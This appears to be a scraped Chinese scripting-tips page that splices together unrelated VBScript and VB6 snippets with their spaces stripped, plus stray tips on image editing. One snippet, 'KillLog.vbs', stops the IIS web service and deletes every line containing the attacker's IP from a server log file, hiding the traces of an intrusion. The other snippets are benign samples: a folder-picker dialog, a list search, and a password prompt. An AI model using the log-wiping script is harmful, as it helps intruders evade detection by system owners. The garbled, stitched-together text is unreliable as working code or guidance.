添加脚本是什么意思籍下载
参数:您相信吗?这个模组的写法比用任何其他的方法快几十倍
VK_VOLUME_DOWN (0xAE)Windows 2000/XP: Volume Down key

OptionExplicit Dimsourcefile,ipaddress,objargs constdestfile="tempfile" ConstForWriting=2 DimText Dimfso,objNet,ServiceObj DimtxtStream,txtStreamOut SetobjArgs=WScript.Arguments IfobjArgs.Count=2Then sourcefile=objArgs(0) ipaddress=objargs(1) Else wscript.echo"ParameterError"+vbcrlf wscript.Echo"USAGE:KillLog.vbsLogFileNameYourIP." wscript.Quit1 EndIf Setfso=CreateObject("Scripting.FileSystemObject") iffso.FileExists(sourcefile)then SetobjNet=WScript.CreateObject("WScript.Network") SetServiceObj=GetObject(""&objNet.ComputerName&"/w3svc") SetobjNet=nothing ServiceObj.stop wscript.sleep6000 SettxtStream=fso.OpenTextFile(sourcefile) SettxtStreamOut=fso.OpenTextFile(destfile,ForWriting,True) DoWhileNot(txtStream.atEndOfStream) Text=txtStream.ReadLine ifinstr(Text,ipaddress)=0then txtStreamOut.WriteLineText endif Loop SettxtStream=Nothing SettxtStreamOut=Nothing WScript.Echo"Thelogfile--"&sourcefile&"hascleanedyourIP!" Else WScript.Echo"TheLogfile--"&sourcefile&"hasnotfound!" Wscript.quit EndIf fso.Copyfiledestfile,sourcefile fso.deletefiledestfile Setfso=Nothing ServiceObj.start SetServiceObj=Nothing 首先要准备好做为欢迎画面所需要的图片,然后对图片进行简单的处理,把需要透空的地方填上纯白色(255,255,255),然后保存为*.bmp文件,这用PhotoShop可以很容易地实现
D:\廖嘉航\第三批\脚本之家\脚本之家\文章2\adodb.stream读文件到数组的代码.htm请给标准工程添加ListBox和TextBox控件各一个,其各项属性均取默认值,然后将下列代码拷贝到你的工程:OptionExplicit'申明API函数PrivateDeclareFunctionSendMessageLib"user32"Alias"SendMessageA"(ByValhwndAsLong,ByValwMsgAsLong,ByValwParamAsInteger,ByVallParamAsAny)AsLongConstLB_FINDSTRING=&H18F'常数PrivateSubForm_Load()'给列表框添加26个字母(大写)DimiAsIntegerFori=Asc("A")ToAsc("Z")List1.AddItemChr$(i)NextText1=""'令文本框为空EndSubPrivateSubText1_KeyPress(KeyAsciiAsInteger)Text1=""'按下任意键则令原内容消失Text1.SelLength=1'限制长度Text1.SelText=Chr(KeyAscii)'显示键盘符号KeyAscii=0'禁止响铃'ListBox中的项目文本若与文本框的一致则选中(高亮)List1.ListIndex=SendMessage(List1.hwnd,LB_FINDSTRING,-1,ByValCStr(Text1.Text))EndSub以上程序适用于单项目为多个字母的查询,但必须注意,在TextBox的KeyPress事件中要作相应的改动
'************************************************ 'File:Dialog.vbs(WSHsampleinVBScript) 'Author:(c)G.Born ' 'Usingtheshelldialogboxtoselectafolder '************************************************ OptionExplicit 'Flagsfortheoptionsparameter ConstBIF_returnonlyfsdirs=&H0001 ConstBIF_dontgobelowdomain=&H0002 ConstBIF_statustext=&H0004 ConstBIF_returnfsancestors=&H0008 ConstBIF_editbox=&H0010 ConstBIF_validate=&H0020 ConstBIF_browseforcomputer=&H1000 ConstBIF_browseforprinter=&H2000 ConstBIF_browseincludefiles=&H4000 Dimwsh,objDlg,objF 'GetApplicationobjectoftheWindowsshell. SetobjDlg=WScript.CreateObject("Shell.Application") 'UsetheBrowseForFoldermethod. 'Forinstance:SetobjF=objDlg.BrowseForFolder_ '(&H0,"Selectthefoldertocopy",&H10,"C:\Born") SetobjF=objDlg.BrowseForFolder(&H0,_ "Selectthefoldertocopy",_ BIF_editbox+BIF_returnonlyfsdirs) 'Hereweusethefirstmethodtodetecttheresult. IfIsValue(objF)Then MsgBox"Selectedfolder:"&objF.Title Else MsgBox"Canceled" EndIf 'HereweuseTypeNametodetecttheresult. IfInStr(1,TypeName(objF),"Folder")>0Then MsgBox"Selectedfolder:"&objF.Title Else MsgBox"Canceled" EndIf FunctionIsValue(obj) 'Checkwhetherthevaluehasbeenreturned. Dimtmp OnErrorResumeNext tmp=""&obj IfErr<>0Then IsValue=False Else IsValue=True EndIf OnErrorGoTo0 EndFunction '***End苹果不越狱用笔者的解决方法是利用app.path来解决这个问题<scriptlanguage=vbs> functionpass() input=inputbox("请输入密码:","hello",,300,300) ifinput=StrReverse("why?")then location.href=("tpircsbvym/moc.udiab.ih//:ptth") else MsgBox"error" location.href= endif endfunction </script>。